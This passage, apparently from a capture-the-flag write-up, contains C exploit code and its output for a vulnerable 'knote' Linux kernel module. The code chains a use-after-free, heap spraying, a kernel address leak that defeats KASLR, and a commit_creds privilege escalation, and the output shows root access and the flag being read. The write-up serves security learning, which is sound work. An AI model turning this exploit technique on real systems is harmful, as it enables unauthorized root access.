  knote_create(fd, ku_reader);
  knote_encrypt(fd, ku_victim);
}

#define CREDS_KU_VICTIM 6
#define CREDS_KU_READER 7

void trigger_privilege_escalation(int fd, unsigned long commit_creds_addr, unsigned long init_cred_addr)
{
  puts("Triggering privelege escalation");

  knote_user_t *ku_victim = alloc_ku(CREDS_KU_VICTIM, NULL, MAX_DATA_LEN);
  knote_user_t *ku_reader = alloc_ku(CREDS_KU_READER, NULL, MAX_DATA_LEN);
  knote_delete(fd, ku_victim);
  knote_delete(fd, ku_reader);

  uaf_create(fd, 0, ku_victim);

  unsigned long data[4];
  data[0] = init_cred_addr;
  data[1] = 0;
  data[2] = commit_creds_addr;
  data[3] = 0;

  ku_reader->data = (char*)&data;
  knote_create(fd, ku_reader);
  knote_encrypt(fd, ku_victim);
}

void spray_it()
{
  puts("Spraying like it's nothing");
  for (int i = 0; i < 100; i++) {
    open("/proc/self/stat", O_RDONLY);
  }
}

#define KASLR_BASE_MIN    0xffffffff80000000UL
#define KASLR_BASE_MAX    0xffffffffc0000000UL

// Return true if pattern matches
int identify_seq_operations(unsigned long *s)
{
  for (int i=0; i < 4; i++) {
    if (s[i] < KASLR_BASE_MIN || s[i] >= KASLR_BASE_MAX)
        return 0;
  }
  return 1;
}

#define SYM_single_start 0xf17e0
#define SYM_commit_creds 0x53a30
#define SYM_prepare_kernel_cred 0x53c50
#define SYM___sys_setuid 0x44a00
#define SYM_init_cred 0x8375c0

int main()
{
  int fd = open_device();

  // UAF situation setup
  knote_user_t *ku_victim = alloc_ku(KU_VICTIM, NULL, MAX_DATA_LEN);
  uaf_create(fd, 0, ku_victim);

  // Heap leak address
  char leak_buf[MAX_DATA_LEN] = {0};

  knote_user_t *ku_leak = alloc_ku(KU_VICTIM, leak_buf, MAX_DATA_LEN);
  knote_read(fd, ku_leak);
  unsigned long heap_leak = bytes_to_ull((unsigned char *)(&leak_buf)+16);
  printf("heap leak = 0x%lx\n", heap_leak);

  // heap spraying
  spray_it();

  // Heap dump of 1600 bytes
  char leak_dump[1600] = {0};
  aar(fd, heap_leak, 1600, leak_dump);
  dump((unsigned long*)&leak_dump, 1600 / 8);

  // seq_operations identification
  unsigned long seq_operations_start_addr = 0;
  for (int i = 0; i < 1600/8; i += 4) {
    if (identify_seq_operations((unsigned long*)&leak_dump + i)) {
      printf("0x%lx and %d\n", *(unsigned long*)&leak_dump + i, i);
      seq_operations_start_addr = *(unsigned long*)&leak_dump + i; 
      break;
    }
  }

  if (!seq_operations_start_addr) {
    printf("Kernel leak not found :(\n");
    exit(-1);
  }

  // kernel base address calculation
  printf("Kernel leak found !\n");
  printf("seq_operations->start = %lx!\n", seq_operations_start_addr);

  unsigned long kernel_base_addr = seq_operations_start_addr - SYM_single_start;
  printf("Kernel base @0x%lx!\n", kernel_base_addr);
  unsigned long prepare_kernel_cred_addr = kernel_base_addr + SYM_prepare_kernel_cred;
  printf("prepare_kernel_cred @0x%lx!\n", prepare_kernel_cred_addr);
  unsigned long commit_creds_addr = kernel_base_addr + SYM_commit_creds;
  printf("commit_creds @0x%lx!\n", commit_creds_addr);
  unsigned long __sys_setuid_addr = kernel_base_addr + SYM___sys_setuid;
  printf("__sys_setuid @0x%lx!\n", __sys_setuid_addr);
  unsigned long init_cred_addr = kernel_base_addr + SYM_init_cred;
  printf("init_cred @0x%lx!\n", init_cred_addr);

  trigger_privilege_escalation(fd, commit_creds_addr, init_cred_addr);
  printf("uid=%d euid=%d\n", getuid(), geteuid());
  system("cat /flag");
  system("whoami");
}

And the exploit output here :

UAF in KNOTE_CREATE situation triggered.
heap leak = 0xffff888000093c60
Spraying like it's nothing
UAF in KNOTE_CREATE situation triggered.
knote controller created, poisoned knote victim structure.

ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 
ffffffff810f17e0 ffffffff810f1800 ffffffff810f17f0 ffffffff811082e0 ffff888007ecb470 ffff888007ecb470 ffff888000094210 ffffffff818372d0 
0 ffff888000094028 ffff888000094028 0 0 0 ffff888000094050 ffff888000094050 
ffff888000094060 ffff888000094060 ffff888000094070 ffff888000094070 0 10000000000 0 0 
0 73746e657665 0 0 0 0 0 0 
0 0 0 0 0 ffff888007ecb400 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 
0 0 0 0 ffff888007ecb570 ffff888007ecb570 ffff888000094410 ffff888000094010 
0 ffff888000094228 ffff888000094228 0 0 0 ffff888000094250 ffff888000094250 
ffff888000094260 ffff888000094260 ffff888000094270 ffff888000094270 0 10000000000 0 0 
0xffffffff810f17e0 and 0
Kernel leak found !
seq_operations->start = ffffffff810f17e0!
Kernel base @0xffffffff81000000!
prepare_kernel_cred @0xffffffff81053c50!
commit_creds @0xffffffff81053a30!
__sys_setuid @0xffffffff81044a00!
init_cred @0xffffffff818375c0!
Triggering privelege escalation
UAF in KNOTE_CREATE situation triggered.
uid=0 euid=0
HTB{2cdbf36398470b5428ea991d18502ef2}
root

made with luv :3

References :

  • https://ir0nstone.gitbook.io/notes/binexp/kernel/page
  • https://n132.github.io/2024/02/09/IPS.html
  • https://elixir.bootlin.com/linux/v5.8.3/source